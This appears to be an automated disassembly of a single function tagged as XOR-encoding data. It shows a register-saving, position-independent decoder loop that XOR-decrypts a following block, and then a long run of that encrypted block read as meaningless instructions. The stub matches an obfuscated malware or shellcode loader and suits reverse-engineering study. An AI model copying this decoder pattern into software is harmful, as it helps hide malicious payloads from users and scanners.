Function at 0x140e513b0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140e513ba
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140e513e3
pop rbp
sub rbp, 0x33
sub rbp, 0xe513b0
sub rsp, 0x20
jmp 0x140e51402
mov rax, 0xe513b0
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x7093d770
xor byte [rax], dl
inc rax
dec rcx
jne 0x140e51421
jmp 0x140e51438
cmp cl, bh
cdq
sti
stc
jo 0x140e514b0
jo 0x140e5147a
int1
mov cl, pe_nt_image_headers64
jno 0x140e514b7
jo 0x140e51481
jno 0x140e513e4
cmp byte [rdi + 0x707078b0], dh
jo 0x140e5148b
mov bh, 0xb2
pop rax
jo 0x140e514c8
jo 0x140e51492
xchg dword [rdx - 0x44e8ec8], edx
int1
jl 0x140e514d3
jo 0x140e514d5
cmp byte [rcx - 0x68], dh
and byte [rax], ah
cmp al, cl
test al, 0x47
pop rax
jo 0x140e514e1
jo 0x140e514e3
jo 0x140e514ad
leave
test al, 0xab
int3
jo 0x140e514ec
jo 0x140e514ee
cmp byte [rcx - 0x67], dh
cmp dl, cl
invalid
cwde
jne 0x140e514fe
jo 0x140e51500
cdq
jo 0x140e51504
jo 0x140e51504
jo 0x140e51447
cwde
jb 0x140e514da
invalid
and ah, byte [rax]
cmp al, cl
test al, 0x47
pop rax
enter 0x47a8, 0x58
jo 0x140e51526
jo 0x140e51528
jo 0x140e51529
jo 0x140e514f2
cmp cl, cl
leave
test al, 0xab
int3
jo 0x140e5153a
jo 0x140e51465
std
jb 0x140e5153f
jo 0x140e514f3
cwde
or eax, 0x2a707070
jo 0x140e51545
jo 0x140e51501
invalid
cmpsd dword [rsi], dword [rdi]
cmp byte [rcx - 0x47], al
cmp byte [rcx - 0x5e], al
cwde
jne 0x140e5151d
invalid
jo 0x140e5156d
clc
jo 0x140e51562
jo 0x140e5150a
invalid
sti
insb byte [rdi], dx
invalid
jo 0x140e51570
invalid
mov ebx, dword [rcx + 0x7063f47f]
jo 0x140e51579
hlt
invalid
int1
mov ecx, dword [rdi + 0x6ff47f55]
jo 0x140e51583
jo 0x140e5154d
invalid
cmp al, 0x49
jno 0x140e51559
int1
mov cl, 0x75
jo 0x140e51596
jo 0x140e51560
int1
cwde
je 0x140e5159c
jo 0x140e5159e
cdq
ror dword [rdi + 0x24598f8f], 0x49
jb 0x140e51570
int1
mov cl, 0x76
jo 0x140e515ad
jbe 0x140e515ac
jo 0x140e515ae
jo 0x140e51577
cmp cl, dh
int1
invalid
cmp cl, dh
cwde
jne 0x140e515ba
jo 0x140e515bc
cdq
jrcxz 0x140e514de
invalid
cmpsd dword [rsi], dword [rdi]
cmp cl, bh
mov esi, 0xfaf0c28c
cli
jbe 0x140e5159b
cmp cl, dh
int1
mov dh, 0x71
jo 0x140e515d8
jo 0x140e51562
ja 0x140e515a4
int1
mov bh, 0x71
jo 0x140e515e1
jo 0x140e515e2
jo 0x140e515ab
cmp byte [rdi + 0x707072b3], dh
jo 0x140e515ec
mov bh, 0xb3
jb 0x140e515e7
jo 0x140e515e9
jb 0x140e5151d
movabs byte [0x66fa70707077f57f], al
jg 0x140e51572
ja 0x140e515ef
jo 0x140e515f1
cli
cmp byte [rdi + 0x7fa262b6], cl
cmp byte [rdi + 0x7fa262b6], cl
movabs byte [0x77f57fa2728f8f8f], al
jo 0x140e51605
cmc
ja 0x140e51604
jo 0x140e51606
jo 0x140e51591
cli
cmp byte [rdi + 0x7fa262b6], cl
invalid
movabs byte [0x41387070700ff37f], al
mov al, 0x72
pshufhw xmm6, xmmword [rax + 0x70], 0x38
mov r8b, 0x72
movabs byte [0x66fa70707077f57f], al
cmp byte [rdi + 0x7fa262b6], cl
cmc
ja 0x140e5161c
jo 0x140e5161d
jo 0x140e5161e
jo 0x140e515a9
cli
cmp byte [rdi + 0x7fa262b6], cl
invalid
invalid
jo 0x140e5162e
movabs byte [0x66fa70707077f57f], al
cmp byte [rdi + 0x38a262b6], cl
invalid
invalid
jg 0x140e515d8
cmc
ja 0x140e51655
jo 0x140e51657
cli
cmp byte [rdi + 0x38a262b6], cl
cmp byte [rdi + 0x38a262b6], cl
invalid
invalid
invalid
jb 0x140e51595
jg 0x140e515ea
ja 0x140e51667
jo 0x140e51669
cli
cmp byte [rdi + 0x38a262b6], cl
invalid
hlt
js 0x140e51677
jo 0x140e51678
jo 0x140e51679
jo 0x140e51642
cmp cl, bh
stc
mov edi, dword [rax]
pop rcx
mov bl, 0xfa
jae 0x140e5160a
ja 0x140e5164c
invalid
jo 0x140e515b7
cdq
invalid
cmc
ja 0x140e5169f
jo 0x140e516a0
jo 0x140e516a1
jo 0x140e5162c
cli
cmp byte [rdi + 0x38a262b6], cl
invalid
cmc
ja 0x140e516b1
jo 0x140e516b3
jo 0x140e5163e
cli
cmp byte [rdi + 0x7fa262b6], cl
test eax, 0x388f8f8f
test eax, 0x388f8f8f
pop rcx
test al, 0x38
mov bh, 0xb3
jno 0x140e516c8
mov bl, 0x71
jo 0x140e516c9
jo 0x140e516ca
jo 0x140e516da
jg 0x140e51651
cmc
jo 0x140e516cf
jo 0x140e51699
cmp byte [rdi + 0x707071b1], dh
jo 0x140e516da
mov bh, 0xb1
jno 0x140e516d5
jo 0x140e516d7
jb 0x140e5160b
movabs byte [0x66fa70707077f57f], al
cmp byte [rdi + 0x38a262b6], cl
jg 0x140e51660
ja 0x140e516dd
jo 0x140e516df
cli
cmp byte [rdi + 0x38a262b6], cl
invalid
invalid
mov ecx, 0xf57fa272
jb 0x140e5161d
jg 0x140e51672
ja 0x140e516ef
jo 0x140e516f1
cli
cmp byte [rdi + 0x7fa262b6], cl
test eax, 0x268f8f8f
cmp cl, bh
invalid
lodsb al, byte [rsi]
mov cs, word [rdi - 0x4770c771]
mov eax, 0x7890b138
cli
cmp byte [rcx + 0x76fa7890], dh
cmp byte [rdi - 0x4a06c74a], cl
mov cl, 0x90
js 0x140e5169f
jbe 0x140e516df
invalid
cmp byte [rdi + 0x707071b1], dh
jo 0x140e51726
jo 0x140e51723
jb 0x140e51657
movabs byte [0x66fa70707077f57f], al
cmp byte [rdi + 0x38a262b6], cl
jg 0x140e516ac
ja 0x140e51729
jo 0x140e5172b
cli
cmp byte [rdi + 0x38a262b6], cl
invalid
cmc
ja 0x140e5173b
jo 0x140e5173c
jo 0x140e5173d
jo 0x140e516c8
cli
cmp byte [rdi + 0x7fa262b6], cl
cmp byte [rdi + 0x7fa262b6], cl
test eax, 0x388f8f8f
int1
invalid
cmp cl, dh
mov byte [rax + 0xd], dh
jo 0x140e516ec
jo 0x140e51751
cmp cl, dh
test eax, 0x8f8f8f8f
cmp cl, dh
mov byte [rax + 0x75], dh
jo 0x140e5175f
jne 0x140e5175e
jo 0x140e51728
cmp cl, dh
int1
test eax, 0x8f8f8f8f
cmp cl, dh
mov al, dh
jo 0x140e5176c
jo 0x140e51736
int1
movabs eax, dword [0xf088f13870707070]
jo 0x140e5177a
jo 0x140e51744
int1
movabs eax, dword [0x8ef9382670707070]
cmp byte [rcx - 0x4a], bl
adc esp, 0x2e
cdq
sub byte [rsi + 0x76fa8f8f], cl
cmp byte [rdi - 0x46bec74a], cl
cmp byte [rcx - 0x47], al
mov ecx, 0x7f7198b0
mov al, 0x98
jno 0x140e517ac
hlt
jo 0x140e517a8
jo 0x140e51772
stc
mov ch, 0x26
cmp cl, bh
cmp cl, bh
invalid
invalid
invalid
cdq
cdq
je 0x140e517d2
jo 0x140e517d4
and edi, dword [rdi - 0x35]
out 0x38, eax
mov bh, 0xb0
shl byte [rbx - 0x6b], 0x70
cmp byte [rcx - 0x68], dh
invalid
cmp cl, dh
mov al, 0x9a
jae 0x140e517e8
jo 0x140e517b2
mov bh, 0xb1
invalid
ret 0x7537
jle 0x140e517a3
add qword [r8 - 0x42], rcx
add qword [r8 - 0x42], rcx
ret 0x750f
jne 0x140e517b5
movabs rcx, 0x149494979c9c201
sar byte [rdx - 0x3d759fff], 0x1e
ret 0x4d06
mov ecx, 0x79c9c201
add r8, rax
mov edx, 0xc28a6001
invalid
add qword [r8 - 0x45], rcx
add qword [r8 - 0x45], rcx
add eax, ecx
mov es, word [rcx + 0x49]
add r8, rcx
movabs al, byte [0x4949b0c849494941]
int 0x98
int 0x98
mov dh, 0xb6
mov dh, 0x2f
ret 0x884e